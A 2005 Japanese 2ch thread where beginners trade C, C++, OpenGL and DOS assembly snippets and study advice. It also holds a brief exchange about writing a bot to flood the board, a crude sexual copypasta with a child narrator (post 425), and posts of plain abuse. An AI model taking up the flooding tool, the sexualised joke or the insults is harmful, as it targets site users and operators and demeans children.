myB.getArrayだ
0285デフォルトの名無しさん
2005/11/21(月) 23:34:33ポインタというものはどういうときに使うのか、素晴らしいところなどを
三行で説明していただけないか
0286デフォルトの名無しさん
2005/11/21(月) 23:35:25る
ぽ
0287デフォルトの名無しさん
2005/11/22(火) 00:06:22それと一緒で、関数とかに変数の中身を渡すより変数のアドレスを渡した方が効率がいい。
ぬるぽ
0288デフォルトの名無しさん
2005/11/22(火) 00:10:19class A {
double m_doArray[3];
public:
A () {
m_doArray[0] = 1.1;
m_doArray[1] = 2.2;
m_doArray[2] = 3.2;
}
// m_doArrayのアドレスを返す関数
double * GetArray () { return m_doArray; }
};
class B {
public:
// Aのm_doArrayのアドレスを受け取って表示する関数
void DispAArray (const double *doAArray) {
printf("%f\n", doAArray[0]);
printf("%f\n", doAArray[1]);
printf("%f\n", doAArray[2]);
}
};
int main ()
{
A a;
B b;
b.DispAArray(a.GetArray());
return 0;
}
0289デフォルトの名無しさん
2005/11/22(火) 00:29:53使わぬ方が良い過去の遺産品。
あるオブジェクトは値渡しした方が早いかもしれないし、あって無いような物。
ポインタや参照渡しの判断はコンパイラにさせた方が良い。
0291デフォルトの名無しさん
2005/11/22(火) 00:37:480292デフォルトの名無しさん
2005/11/22(火) 00:56:19どうやって配列参照させるわけ
0293280
2005/11/22(火) 01:03:030294デフォルトの名無しさん
2005/11/22(火) 01:14:37配列で扱えばよくね?
0295デフォルトの名無しさん
2005/11/22(火) 01:17:20C言語にARRAY型はないし、配列を値渡しするのは無理だと思うが
0296デフォルトの名無しさん
2005/11/22(火) 01:25:23何系の本見ればいいの??勉強するには
おすすめ教えて!!
0297デフォルトの名無しさん
2005/11/22(火) 01:26:180298296
2005/11/22(火) 01:30:29初心者はPerllか?
0299デフォルトの名無しさん
2005/11/22(火) 01:33:420301デフォルトの名無しさん
2005/11/22(火) 01:39:190302デフォルトの名無しさん
2005/11/22(火) 01:49:00ググって画像見たが・・・
難易度だけ教えてほしいな、かなり難しいのかい?
荒しプログラムって
0303デフォルトの名無しさん
2005/11/22(火) 01:50:59ここの元スレでも作ってただろ
0304デフォルトの名無しさん
2005/11/22(火) 01:53:21Delphi←ググってみる
アリガ�d!
0305デフォルトの名無しさん
2005/11/22(火) 02:28:32配列の形で参照たわしするんだよ
void unko( char vip[] );
ぶっちゃけポインタだけどな
0306デフォルトの名無しさん
2005/11/22(火) 05:07:52スレ一覧の取得まで出来た
0307デフォルトの名無しさん
2005/11/22(火) 05:54:59なんか課題無い?
0308デフォルトの名無しさん
2005/11/22(火) 06:44:19すごく参考になった。ありが�d
0309デフォルトの名無しさん
2005/11/22(火) 07:07:06void display(void)
{
glClear(GL_COLOR_BUFFER_BIT);
//V
glBegin(GL_LINE_STRIP);
glVertex2d(-0.9, 0.9);
glVertex2d(-0.8, -0.9);
glVertex2d(-0.7, 0.9);
glEnd();
//I
glBegin(GL_LINES);
glVertex2d(-0.6, 0.9);
glVertex2d(-0.4, 0.9);
glVertex2d(-0.5, 0.9);
glVertex2d(-0.5, -0.9);
glVertex2d(-0.6, -0.9);
glVertex2d(-0.4, -0.9);
glEnd();
//P
glBegin(GL_LINES);
glVertex2d(-0.3, 0.9);
glVertex2d(-0.3, -0.9);
0310デフォルトの名無しさん
2005/11/22(火) 07:07:37glVertex2d(-0.1, 0.4);
glVertex2d(-0.1, 0.4);
glVertex2d(-0.3, -0.1);
glEnd();
glFlush();
}
int main(int argc, char *argv[])
{
glutInit(&argc, argv);
glutInitDisplayMode(GLUT_RGBA);
glutCreateWindow(argv[0]);
glutDisplayFunc(display);
glClearColor(0.0, 0.0, 0.0, 0.0);
glutMainLoop();
return 0;
}
0311デフォルトの名無しさん
2005/11/22(火) 07:10:42前スレで↑こういうのはOpenGLで作るって教えてもらったので始めてみる
前途多難ス(`・ω・´)
0312デフォルトの名無しさん
2005/11/22(火) 07:22:470313デフォルトの名無しさん
2005/11/22(火) 08:00:05んなもんHTTP/1.1のRFC読んでソケットいじれりゃ誰でも作れるんだよ。
くだらんもの作るな。
0314デフォルトの名無しさん
2005/11/22(火) 09:21:54これとかどうよ?
GamDevPukiWiki - おまいら!今日からC言語を学んでいくぞー!パート2
http://gamdev.org/w/?%5B%5B%A4%AA%A4%DE%A4%A4%A4%E9%A1%AA%BA%A3%C6%FC%A4%AB%A4%E9C%B8%C0%B8%EC%A4%F2%B3%D8%A4%F3%A4%C7%A4%A4%A4%AF%A4%BE%A1%BC%A1%AA%A5%D1%A1%BC%A5%C82%5D%5D
0315デフォルトの名無しさん
2005/11/22(火) 09:26:05それ、解答無いのが致命的
0316デフォルトの名無しさん
2005/11/22(火) 10:38:38うんポインタだよね
0317デフォルトの名無しさん
2005/11/22(火) 16:57:02FTPクライアントなんか作ってみるか?
0318デフォルトの名無しさん
2005/11/22(火) 17:07:51今はなでしこで簡単に作れるそうだ
0319デフォルトの名無しさん
2005/11/22(火) 17:39:350320デフォルトの名無しさん
2005/11/22(火) 18:00:030321デフォルトの名無しさん
2005/11/22(火) 18:05:550322デフォルトの名無しさん
2005/11/22(火) 18:15:290323デフォルトの名無しさん
2005/11/22(火) 18:21:530324デフォルトの名無しさん
2005/11/22(火) 18:25:270325デフォルトの名無しさん
2005/11/22(火) 18:32:23http://ex14.2ch.net/test/read.cgi/news4vip/1132650896/
あるじゃんww
今日は何時までもつか・・
0326デフォルトの名無しさん
2005/11/22(火) 18:57:510327デフォルトの名無しさん
2005/11/22(火) 19:11:33プログラミングってなんですか?
0328デフォルトの名無しさん
2005/11/22(火) 19:12:57これは酷い
0329デフォルトの名無しさん
2005/11/22(火) 19:33:36お疲れのようですね。
今日は早く寝たほうがいい。
0330デフォルトの名無しさん
2005/11/22(火) 19:44:50気持ちは分かる。
0331デフォルトの名無しさん
2005/11/22(火) 19:47:530332デフォルトの名無しさん
2005/11/22(火) 19:50:210333デフォルトの名無しさん
2005/11/22(火) 20:06:20Delphiのほうが簡単だけど。
0334デフォルトの名無しさん
2005/11/22(火) 20:07:12Cに慣れつつも、講義でやらされてるPascalを普通に出来てる俺がいるから安心汁
Cでできることが出来なくて無性に腹立つがな('A`#)
0335デフォルトの名無しさん
2005/11/23(水) 01:04:28C言語やってからオブジェクト指向へってのは結構つまづき易いし、
最悪、理解できずに難癖付け出す輩もいる
オブジェクト指向は使えば使うほど開発効率あがるから、
いろんなものを大量生産できて楽しいお
0336デフォルトの名無しさん
2005/11/23(水) 01:20:54そこで憂鬱本ですよ
あれはとてもわかりやすくていい
中々良書の見つからない設計段階を重視しつつも実装段階まで踏み込んでるし
0337デフォルトの名無しさん
2005/11/23(水) 06:23:080338デフォルトの名無しさん
2005/11/23(水) 07:21:21ttp://www.vipper.org/vip145667.txt
計算があきらかに複雑になってるので、
もうちょっと練らねば・・
0339デフォルトの名無しさん
2005/11/23(水) 08:02:06つまづく→×
つまずく→○
0340デフォルトの名無しさん
2005/11/23(水) 09:47:07んな馬鹿な。
オブジェクト指向は使えば使うほど依存度が増えて開発効率下がるよ。
使わなくて済むときにはOO使わないのがよいプログラム。
0341デフォルトの名無しさん
2005/11/23(水) 10:38:40そしたら今日やっと計算ドリル(足し引き掛け割り選択、問題数選択)
の様な物を作れるまでになった。皆に感謝するお( ^ω^)
0342デフォルトの名無しさん
2005/11/23(水) 11:06:29前とあんま変わらんかった。激しく読みにくい orz
汎用性のまるで無い双方向リストクラス
ttp://www.vipper.org/vip145691.txt
もうバグらなかったらいいってことにして、次に進む ヽ(`Д´)ノ
次は実用に耐えるだけの汎用性を考えなきゃ。
あー、どうしよ。。
>>336
おぶじぇくと志向っての興味あるんですが、
憂鬱本ってなんですか ><
0343デフォルトの名無しさん
2005/11/23(水) 11:13:37C++による実践的ソフトウェア構築入門
DDJ Selection
Tucker (著)
ttp://www.amazon.co.jp/exec/obidos/ASIN/4881356194/250-6494379-9438634
あら、すみません。これのことですかね。
「憂鬱本」でググったら普通に出てきちゃったw
アマゾンでも評価高いですね。
0344デフォルトの名無しさん
2005/11/23(水) 12:09:58汎用性を考えるとさらに複雑になるんだよなぁ
0345デフォルトの名無しさん
2005/11/23(水) 12:18:31ハカーたちはオブジェクト指向なんか使わなくても引数・返却値・ポインタを駆使してオブジェクト指向と同様でかつ高速なコードを書くみたいな事きいたんですけど
0346デフォルトの名無しさん
2005/11/23(水) 12:36:040347デフォルトの名無しさん
2005/11/23(水) 12:37:07融通効かなくなるのよね。MFCなんかがいい例。
0348デフォルトの名無しさん
2005/11/23(水) 12:39:16継承全く使わず総称だけでもC++使う価値あり。
>>342みたいなのは、std::listとstd:string組み合わせるだけで
リストの実装なんか何もわからなくても安全・高速・汎用的な
文字列リスト型ができるわけだし。
なにがいいかって、標準に従ってればドキュメント書かなくても
いいのが一番素晴らしいよなぁ〜
0349デフォルトの名無しさん
2005/11/23(水) 12:49:520350デフォルトの名無しさん
2005/11/23(水) 13:22:56Cを基準にして最悪でも+5%までに抑えるように設計されてるとか
>>340,347
それはどちらも下手な使い方をした例であって
下手な使い方を挙げたらきりがないお
>>348のいうのはベターCだお
0351デフォルトの名無しさん
2005/11/23(水) 13:54:29STL/boost使いはかなりカチンとくるよ!
0352デフォルトの名無しさん
2005/11/23(水) 14:20:28すまなかった
上2行すっ飛ばして、3行目以降を指して>>348としてますた(ノ∀`)
0353デフォルトの名無しさん
2005/11/23(水) 14:49:29STLを初めとするC++標準ライブラリは確かに素晴らしいけど
双方向リストぐらいは一度自力で実装してみないとダメな罠
一回自力で作れば、それぞれのデータ構造の利点・欠点も分かるだろうしな
0354デフォルトの名無しさん
2005/11/23(水) 15:59:500355デフォルトの名無しさん
2005/11/23(水) 16:15:100356デフォルトの名無しさん
2005/11/23(水) 16:22:05赤面しながら視線を逸らしてそのセリフを言うとツンデレっぽいぞ!
0357デフォルトの名無しさん
2005/11/23(水) 16:30:08| ノ ヽ
/ (゚) (゚)ヽ
| ////( _●_)ミ
彡、 |∪| l って言うかバカ
ヽ ヽノ /
/´ ヽ、r ̄
r ヽ、 )
ヽ、 ヽヽ
と二_ノ_ノ
0358デフォルトの名無しさん
2005/11/23(水) 16:31:15catコマンドを書け。
ファイルの出力に低水準入出力を使うこと。
0359デフォルトの名無しさん
2005/11/23(水) 16:32:27main:
push func
ret
int 0x20
func:
mov dx, msg
mov ah, 0x09
int 0x21
ret
msg db "Func",0x0A,"$"
アセンブリでやってみたお
nasmでアセンブルして欲しいお
0360デフォルトの名無しさん
2005/11/23(水) 16:32:530361デフォルトの名無しさん
2005/11/23(水) 16:48:16そんなにだめかな?
0362デフォルトの名無しさん
2005/11/23(水) 16:49:360363デフォルトの名無しさん
2005/11/23(水) 16:50:11Pascalが理解できる(できている)ならいいと思うが
0364デフォルトの名無しさん
2005/11/23(水) 16:50:330365デフォルトの名無しさん
2005/11/23(水) 17:13:40あなたの言うことも信用しちゃダメなんですね
0366デフォルトの名無しさん
2005/11/23(水) 17:14:20そうだお(^ω^;)
0367デフォルトの名無しさん
2005/11/23(水) 17:14:56自分自身も信じちゃダメだぞ☆
0368デフォルトの名無しさん
2005/11/23(水) 17:22:48やりだしたのつい最近なんですけどわかり易くて楽しかったからいいなってw
>>364
そうですよね。ありがとうございます。
0369デフォルトの名無しさん
2005/11/23(水) 17:38:13あんな自由度の低い言語の何処がいいんだよ
C/C++>>超えられない崖>>Java/VB/C#・・・>>>Asm/BASIC>>超えられないクレバス>>Delphi/Pascal
0370デフォルトの名無しさん
2005/11/23(水) 17:40:110371デフォルトの名無しさん
2005/11/23(水) 17:43:24漏れはAsmマンセーだけどな!
0372デフォルトの名無しさん
2005/11/23(水) 17:43:550373デフォルトの名無しさん
2005/11/23(水) 17:45:40あれ前使ってたが、ごちゃごちゃしててわかんない
0374デフォルトの名無しさん
2005/11/23(水) 17:45:46織田信長のほうが強いに決まってるだろ
0375デフォルトの名無しさん
2005/11/23(水) 17:47:310376デフォルトの名無しさん
2005/11/23(水) 17:51:12アセンブリでも使ってろ^^^
0377デフォルトの名無しさん
2005/11/23(水) 17:52:08func:がファンクションコール9番を呼んで「Func」って表示してるんだと思うお
main:のpushに何の意味があるのかは分からないお(;^ω^)
0378デフォルトの名無しさん
2005/11/23(水) 17:54:130380デフォルトの名無しさん
2005/11/23(水) 17:57:17callを分解したようなもんか?
0381デフォルトの名無しさん
2005/11/23(水) 17:59:29retがスタックからポップしたアドレスをIPにセットするのを利用して
func呼んでるわけね
ぶっちゃけ無駄じゃね?(;^ω^)
0382デフォルトの名無しさん
2005/11/23(水) 17:59:430383デフォルトの名無しさん
2005/11/23(水) 18:00:45例えば悪意のある解析者に対しての錯乱とかw
0384デフォルトの名無しさん
2005/11/23(水) 18:02:36うはwwwwwwwwwおkwwwwwwww
所でnasmでアセンブルしても実行形式ファイルができないんだが(;^ω^)
0385デフォルトの名無しさん
2005/11/23(水) 18:04:000x0100番地から始まってるからcom形式じゃね?
0386デフォルトの名無しさん
2005/11/23(水) 18:06:13comに変更してみたお
>指定されたデバイス、バス、またはファイルにアクセスできません。アクセス許可がない可能性があります。
うはwwwwwwおkwwwwwww(;^ω^)
0387デフォルトの名無しさん
2005/11/23(水) 18:13:10ある程度以上の規模のプログラムを自分で書いたことがあれば
わかるんだけど、自由度の少ない言語は それと引き換えに
安全性を買っているんだよ。だから自由度が少ない=うんこ というのは
乱暴な考えだよ。 悔い改めろ。
0388デフォルトの名無しさん
2005/11/23(水) 18:15:39お手軽で高速でサイズも小さくなるし、コンパイルも早いし
Cしかつかったけどないけど
0389デフォルトの名無しさん
2005/11/23(水) 18:18:490390デフォルトの名無しさん
2005/11/23(水) 18:21:55ttp://www.vipper.org/vip145850.png
動いたからSSだお
0391デフォルトの名無しさん
2005/11/23(水) 18:42:08http://pc8.2ch.net/test/read.cgi/tech/1099112351/
0392デフォルトの名無しさん
2005/11/23(水) 18:43:38すげぇ
UNIXってVisual C++って書いてたのか
0393デフォルトの名無しさん
2005/11/23(水) 18:44:510394デフォルトの名無しさん
2005/11/23(水) 18:46:190395デフォルトの名無しさん
2005/11/23(水) 18:56:54BSD系ほどではないが。
0396デフォルトの名無しさん
2005/11/23(水) 18:58:30をいをいwwwww
UNIXOSを作成する過程で出来上がったのが初期のC言語コンパイラってだけだろ。
ここでgccの話持ち出してくるのは、>>392の引用と程度はかわらんぜwwww
0397デフォルトの名無しさん
2005/11/23(水) 18:58:490398デフォルトの名無しさん
2005/11/23(水) 19:04:49ただ単にOS作るのに使うコンパイラの話じゃないのか
0399デフォルトの名無しさん
2005/11/23(水) 19:06:42なんでも米国政府が使うコンピュータに搭載するOSはPOSIX準拠でないといけないというのが発端らしい。
0400デフォルトの名無しさん
2005/11/23(水) 19:10:58こんなのUnixライクですらないよ
0401デフォルトの名無しさん
2005/11/23(水) 19:48:070402デフォルトの名無しさん
2005/11/23(水) 19:55:550403デフォルトの名無しさん
2005/11/23(水) 19:57:24その後Cを触ってPascalで作った事を後悔した。
0404デフォルトの名無しさん
2005/11/23(水) 20:01:15>ny作者がGUIに凝る為bcbに逃げた実績あり。
あの程度のGUIでBCB/VCLに頼らなきゃならない作者のが問題だろ〜
0405デフォルトの名無しさん
2005/11/23(水) 20:35:13頼るっていうか利用してるだけだろ。
楽に出来るところは楽にやったほうがいいにきまってる。
0406デフォルトの名無しさん
2005/11/23(水) 20:44:00ばーか
死ね
かす
うんこ
しね
0407デフォルトの名無しさん
2005/11/23(水) 20:46:24そう言う事言ってると本当に見かけでしか判断できない奴になるぞw
0408デフォルトの名無しさん
2005/11/23(水) 20:52:00かす
うんこ
かす
かす
0409デフォルトの名無しさん
2005/11/23(水) 20:53:08Unixファミリー
0410デフォルトの名無しさん
2005/11/23(水) 20:53:32Cって聞いたんだけど
0411デフォルトの名無しさん
2005/11/23(水) 20:54:34漏れもCって聞いた
なんかwindowsのバグってアドレスに場所間違えただけらしいよ
0412デフォルトの名無しさん
2005/11/23(水) 20:58:210413デフォルトの名無しさん
2005/11/23(水) 21:00:060414デフォルトの名無しさん
2005/11/23(水) 21:02:580415デフォルトの名無しさん
2005/11/23(水) 21:11:440416デフォルトの名無しさん
2005/11/23(水) 21:12:35http://www.microsoft.com/japan/windows/sfu/
0417デフォルトの名無しさん
2005/11/23(水) 21:12:36日本じゃ無理じゃね?
0418デフォルトの名無しさん
2005/11/23(水) 21:15:590419デフォルトの名無しさん
2005/11/23(水) 21:19:280420デフォルトの名無しさん
2005/11/23(水) 21:20:07http://www.microsoft.com/japan/windowsxp/startsomething/education.mspx
0421デフォルトの名無しさん
2005/11/23(水) 21:20:310422デフォルトの名無しさん
2005/11/23(水) 21:23:38http://www.nipponham.co.jp/winny/
0423デフォルトの名無しさん
2005/11/23(水) 21:26:27http://pcweb.mycom.co.jp/news/2003/01/15/19.html
企業も契約を結べば見れる
http://www.microsoft.com/japan/sharedsource/Licensing/Enterprise.mspx
0424デフォルトの名無しさん
2005/11/23(水) 21:26:35夢夢詐欺か
0425デフォルトの名無しさん
2005/11/23(水) 21:27:45見るけど、なんか、ちんぷんかんぷん。こんな難しいこと僕にはできないよ、って思ってた。でもこの前、調べ学習で
インターネットを使う宿題が出たとき、お父さんが「アナリスクは難しくないんだよ」 って、いろんなことを教えてくれたんだ。
フリスクの使い方や子供の作り方、お母さんに内緒でちんちんの弄り方も覚えちゃった。
うん、やってみると案外僕にもできるかもしれない ! アナリスクを覚えてからは、2ちゃんねるがとっても楽しくなってきた。
苦手な尻有だって、声優の聞き分けだって僕に任せてって感じ。なんか、いろんなことがしたくなってきた !
わからないことや知らないことは、ママに聞けばいいんだね。
0426デフォルトの名無しさん
2005/11/23(水) 21:31:500427デフォルトの名無しさん
2005/11/23(水) 21:39:10MSLinux使っとけば間違いない
0428デフォルトの名無しさん
2005/11/23(水) 21:45:480429デフォルトの名無しさん
2005/11/23(水) 21:47:25公式サイトみてきたけどなんかぺんぎんが冷たくなってた
0430デフォルトの名無しさん
2005/11/23(水) 21:47:47GCC使うときとか
0431デフォルトの名無しさん
2005/11/23(水) 21:48:37なるほど
0432デフォルトの名無しさん
2005/11/23(水) 21:50:000433デフォルトの名無しさん
2005/11/23(水) 21:51:59Linux使うときとか
0434デフォルトの名無しさん
2005/11/23(水) 21:53:110435デフォルトの名無しさん
2005/11/23(水) 21:53:220436デフォルトの名無しさん
2005/11/23(水) 21:53:54( 从 ノ.ノ
( ./  ̄ ̄ ̄ ̄\
|:::::: ヽ ... ...丶.
|::::._____ __) ) / <MSにWindowsのソースを要求する。
(∂: ̄ ̄| ̄・` |=|・ ̄ | ( (
( (  ̄ )・・( ̄ i n.n )ノ ______
ヘ\ .._. )C( ._丿.=|_|=・. │ | \__\___
/ \ヽ _二__.ノ <つ(.(rヽ | | |= |iiiiiiiiiii|
/⌒ヽ. \__/\i/\ ヽ .( .ノ | | | =. |iiiiiiiiiii|
| ヽ ____\o\./ |. | | |三 |_「r.、
| // // ̄.\ \二| |_..|_/( ) ̄ ))
ヽ ______//r_/| |.||⌒ヽ〜〔 ̄ ̄! ̄ ̄ ̄/ ̄ ̄\((
0437デフォルトの名無しさん
2005/11/23(水) 22:04:44日本じゃさしずめ社民党だな
0438デフォルトの名無しさん
2005/11/23(水) 22:34:19もうちょい落ち着いてもいいと思うお(;^ω^)(;^ω^)
0439デフォルトの名無しさん
2005/11/23(水) 22:49:38あの程度のもんをSDKorMFCで作るのが面倒とかいう時点でおかしいだろ。
0440デフォルトの名無しさん
2005/11/23(水) 23:18:36(><(*)ひぎぃ!お尻ぷりんセス!
0441デフォルトの名無しさん
2005/11/23(水) 23:30:50BOOL GetNextLine(LPCTSTR& pSrc, CString& Line) {
if(!pSrc) return FALSE;
if(!*pSrc) {
Line.Empty();
pSrc = NULL;
return TRUE;
}
LPTSTR pLF = _tcschr(pSrc, '\n');
if(!pLF) {
Line = pSrc;
pSrc = NULL;
return TRUE;
}
INT nLen = pLF - pSrc;
LPTSTR pBuf = Line.GetBufferSetLength(nLen);
_tcsncpy(pBuf, pSrc, nLen);
Line.ReleaseBuffer(nLen);
pSrc += nLen + 1;
return TRUE;
}
whileで回して使う。
while(GetNextLine(pSrc, Line)){nNumLines++; }
0442デフォルトの名無しさん
2005/11/24(木) 00:30:162ちゃんねら〜は学歴・権威によわいでしゅね。ぶぎゃw
0443デフォルトの名無しさん
2005/11/24(木) 00:34:17悪いことは言わん
文章処理系はPerlに任せるべき
0444デフォルトの名無しさん
2005/11/24(木) 00:45:08東大助手は忙しいから少しでも時間節約したいんだよ
0445デフォルトの名無しさん
2005/11/24(木) 00:50:30いそがしいなら隠れてnyなんか作れるかよ。
笑わせるなw
0446デフォルトの名無しさん
2005/11/24(木) 00:54:14まぁレポート載せるソースコードを80文字で改行するためのプログラムをCで書いておいて
最後にゴミが付くというバグに気づきながら放置してる俺が言えた事じゃないが
0447デフォルトの名無しさん
2005/11/24(木) 00:55:14もう終わりね
0448デフォルトの名無しさん
2005/11/24(木) 01:18:55カレーが好きならインドに住めと言っているのと一緒。
0449デフォルトの名無しさん
2005/11/24(木) 02:07:250450デフォルトの名無しさん
2005/11/24(木) 02:22:19{
print "?";
}
0451デフォルトの名無しさん
2005/11/24(木) 02:26:02>>448のレスを>>443>>446宛と考えれば普通に解釈できる。
0452デフォルトの名無しさん
2005/11/24(木) 02:34:51wWw<MMORPGのクライアント作ってくれ
(’д`)<うはおkwwwwwwnasmで作ってくるwwwwっうぇ
0453デフォルトの名無しさん
2005/11/24(木) 03:45:10本格的にカレー食いたいならインドに行く方が効率的だろ
それと一緒だよ
0454デフォルトの名無しさん
2005/11/24(木) 03:59:09外に出るのメンドクサス
0455デフォルトの名無しさん
2005/11/24(木) 04:03:05本格的なカレーがうまいカレーとは限らない
近場にある怪しいインド料理店のほうが本格的なカレー作ってくれるかもな!
ってか、そもそも本格的って定義はなんなんだろ(;^ω^)
>>453
「本格的にカレーを食べる」なら
ココイチで吐くまで食べりゃ済むと思うお(^ω^)
0456デフォルトの名無しさん
2005/11/24(木) 07:22:280457デフォルトの名無しさん
2005/11/24(木) 07:43:460458デフォルトの名無しさん
2005/11/24(木) 07:56:30ここにVIPのコテが来てCを学びたいとか言い出したら荒れるよな?
ちなみに空気コテだけど。
0459デフォルトの名無しさん
2005/11/24(木) 08:11:580460デフォルトの名無しさん
2005/11/24(木) 08:15:38Hello!worldレベルのコテじゃ流石にヤバイよな。
彼、コテにしてはめずらしくTPOをわきまえるんだよ。
だから本気で気にしてるんだ。
0461デフォルトの名無しさん
2005/11/24(木) 08:17:320462健太 ◆wJpsfBhkdM
2005/11/24(木) 08:18:500463デフォルトの名無しさん
2005/11/24(木) 08:27:260464健太 ◆wJpsfBhkdM
2005/11/24(木) 08:28:25|vip| λ....
0465デフォルトの名無しさん
2005/11/24(木) 08:34:37これはいい空気ですね
0466デフォルトの名無しさん
2005/11/24(木) 09:05:410467デフォルトの名無しさん
2005/11/24(木) 09:06:50恥ずかしいことじゃないぞ。
(・∀・) カエッテコーイ!!
0468デフォルトの名無しさん
2005/11/24(木) 12:13:42「カレーの本場」といえばインドだろ。普通に考えて本格的にインド食べたかったらインドに行くべき
しかも日本はカレーが高い。大量に食べるならインドの方が圧倒的にお得。
0469デフォルトの名無しさん
2005/11/24(木) 12:24:38ちょwwwwwwwwwwww 旅費と移動時間は計算外かよwwwwwwwwwwww
0470デフォルトの名無しさん
2005/11/24(木) 12:26:12日本の家賃>>>旅費・インドの家賃
じゃないのか
0471468
2005/11/24(木) 12:27:12俺テラヤバスwwwwwwwwwwwwww
0472デフォルトの名無しさん
2005/11/24(木) 12:27:160473デフォルトの名無しさん
2005/11/24(木) 12:31:55移動時間=近くの電気屋さんまでの道のり÷速さ
カレーの値段=開発効率
0474デフォルトの名無しさん
2005/11/24(木) 12:47:000475デフォルトの名無しさん
2005/11/24(木) 13:01:550476デフォルトの名無しさん
2005/11/24(木) 14:07:39ナローバンドなんだろ。優しくしてやれ。
0477デフォルトの名無しさん
2005/11/24(木) 14:20:04(*´∀` ) <優しくしてね
パンパン / _ノ⌒⌒⌒`〜、_
ε( ̄⊂人 //⌒ ノ ヽ)
⊂ニニニニニニニニニニニニニニ⊃
0478デフォルトの名無しさん
2005/11/24(木) 14:27:18( レ⌒) |\ ( |\)| |/~| ノ ,__√ /7 ∠、 \ . 丶\ _ __
|\_/ /へ_ \) | | | |∠ | |__ | / ! | | |_〜、 レ' レ'
\_./| |/ \ .| |( ̄ _) | ) | | i | へ_,/ ノ ,へ
/ / ̄~ヽ ヽ. | | フ ヽ、 ノ √| | ! レノ | !. \_ ー ̄_,ー~' )
/ /| | | | | |( ノ| |`、) i ノ | | \_ノ ノ / フ ! (~~_,,,,/ノ/
| | | | / / | | . し' ノ ノ | | / / | |  ̄
\\ノ | / / | |___∠-". | | ノ / ノ | /(
\_ノ_/ / (____) し' ノ/ / / | 〜-,,,__
∠-''~ ノ/ (_ノ 〜ー、、__)
0479デフォルトの名無しさん
2005/11/24(木) 14:34:48ヒキなので常時スタンバッってるので、ぜひお願いしたい
どうにか大学の奴達より賢くなりたいんだ!!!
ポインタ辺りは理解した!!でも何をやっていいのやら・・・
時間だけはたっぷりある。スルーはしないでくれーーーーーーー!!!
0480デフォルトの名無しさん
2005/11/24(木) 14:36:39Hello, world!だ
org 0x0100
mov ah, 0x09
mov dx, msg
int 0x21
ret
msg db "Hello, world!",0x0A,"$"
0482デフォルトの名無しさん
2005/11/24(木) 14:39:15HELLOW WORLD はもう完璧だす・・・
>>481
そんな事いわないでくれよ〜〜〜('A`)
教えてくださああああぁっぁっぁっぁああいい
0483デフォルトの名無しさん
2005/11/24(木) 14:43:420484デフォルトの名無しさん
2005/11/24(木) 14:45:56どれくらい出来るの?
0485デフォルトの名無しさん
2005/11/24(木) 14:46:43今まで全部独学でやってきたので、何をやったらいいのか
分からないんですよ。ポインタまでやって、線形リスト、
多次元配列、関数へのポインタ→最近qsortをやり始める。
でも問題出されてもできない事がおおいので、教えて欲しいです・・
0486デフォルトの名無しさん
2005/11/24(木) 14:47:19>>485におおよそを書いておきました
0487デフォルトの名無しさん
2005/11/24(木) 14:48:00これは「慣れる」しかない
実際にソースを読んだり書いたりしてるうちにプログラムの書き方を覚えてくる
0488デフォルトの名無しさん
2005/11/24(木) 14:50:26慣れですか・・・ソースを読むのは参考書程度ではやっぱダメですよね
もっと参考書立ち読みしてきますorz
0489デフォルトの名無しさん
2005/11/24(木) 14:51:37ソースはネットで拾った方がいいよ
http://sourceforge.jp/
こことか
0490デフォルトの名無しさん
2005/11/24(木) 14:52:160491デフォルトの名無しさん
2005/11/24(木) 14:54:46はあああぁぁ!!!やったあぁ!!!本屋行かなくてすむ。
ありがとうございます。ソース見まくって頑張ります(`・ω・´)
0492デフォルトの名無しさん
2005/11/24(木) 14:56:35言語別
0493デフォルトの名無しさん
2005/11/24(木) 15:04:48雑誌読め、プログラミング雑誌、定期購読しろ
0494デフォルトの名無しさん
2005/11/24(木) 15:15:30ソースの種類がいっぱいあってたのしそうです(`・ω・´)
>>493
プログラム雑誌なんてのもあったんですか!
毎日本屋に読みに行ってみる事にしますよ。
0495デフォルトの名無しさん
2005/11/24(木) 15:29:55C (279 projects)
C++ (241 projects)
Java多いな
0496デフォルトの名無しさん
2005/11/24(木) 15:35:27Win32のプログラムはまだですか?
0497デフォルトの名無しさん
2005/11/24(木) 17:00:48カレー味のうんことうんこ味のカレーだったら、
おそらくうんこ味のカレーを選ぶ人の方が多いだろう。
しかし、うんこ味のカレーを作るためには、
うんこってどんな味なのか?を知らねばならない。
また、カレー味のうんこをいかにして作るか?という
議論もなされていない。
うんこ味のカレーを作るために、カレーにうんこを混ぜてしまっては元も子もないし、
カレー味のうんことかいってうんこにカレー粉をかけただけでは名前に偽りあり、だ。
まず、「うんこ味とは」「カレー味のうんことは」を議論すべきだ。
0498デフォルトの名無しさん
2005/11/24(木) 17:07:47味だけに捕われないトータルな議論が必要だと思うが。
0499デフォルトの名無しさん
2005/11/24(木) 17:09:410500デフォルトの名無しさん
2005/11/24(木) 17:15:21stack型リストにがんばってなんとか汎用性を持たせてみる
ttp://www.vipper.org/vip146355.txt
駄目じゃ〜。
シンプルかつ安全なものを目指してるのに、
じぇんじぇんそんなんできないYO!
これじゃCHumanDataのスタックをコントロールするクラスを作らなきゃいけないじゃないかぁ。。
安全かつ自動的に回せるループも思い浮かばないいぃぃ (ToT)
ループはインデックスを指定して回すべきか・・いやそれじゃ・・・
また面倒なことに・・・・うはwwwっうぇwwっうぇwwwww
0501デフォルトの名無しさん
2005/11/24(木) 17:28:32あと、安全なものを目指すのなら静的な配列に文字列コピーするのはどうかと
0502デフォルトの名無しさん
2005/11/24(木) 17:38:410503デフォルトの名無しさん
2005/11/24(木) 17:40:58ソースよく読んでなかった
自身をメンバに持つクラスなのねん
メンバにデータ型(CHumanDataとか)を持っていて、
それを操作するクラス(CStack)ってのはダメなの?
0504デフォルトの名無しさん
2005/11/24(木) 17:41:55シンプルと安全性はトレードオフじゃまいか?
それはそうとして、リストならとりあえずCで実装してふいんきだけ掴めばそれでいい希ガス
C++ならlist<>があるわけだし
0505デフォルトの名無しさん
2005/11/24(木) 17:46:430506500です (-_-
2005/11/24(木) 17:51:20Stackから一個削除されるたびにDelete_All()が呼ばれるので(処理はスルーするけど)
なんか効率悪いな〜と思いまして・・
文字列コピーは今は、テスト中なのでどんな値を入れてもよかったのです。
たまたまメンバに文字列入れてるだけでして。確かに安全じゃないっぽいですね。。
>>503
CStackを色んなとこで使いたいので、
CStack側にメンバを追加するのはめーなんです。
>>504
リスト構造を理解するために作ってるんですが、
そろそろ投げたくなってきた。
>>505
そですよね。そなんですけど、
隠蔽しながらループ回す方法を思い浮かばなかった orz
GetTopAddress()とGetNextAddress()をメンバに追加すれば隠蔽だけは可能かなぁ。。
みなさんどうもありがとー m(__)m
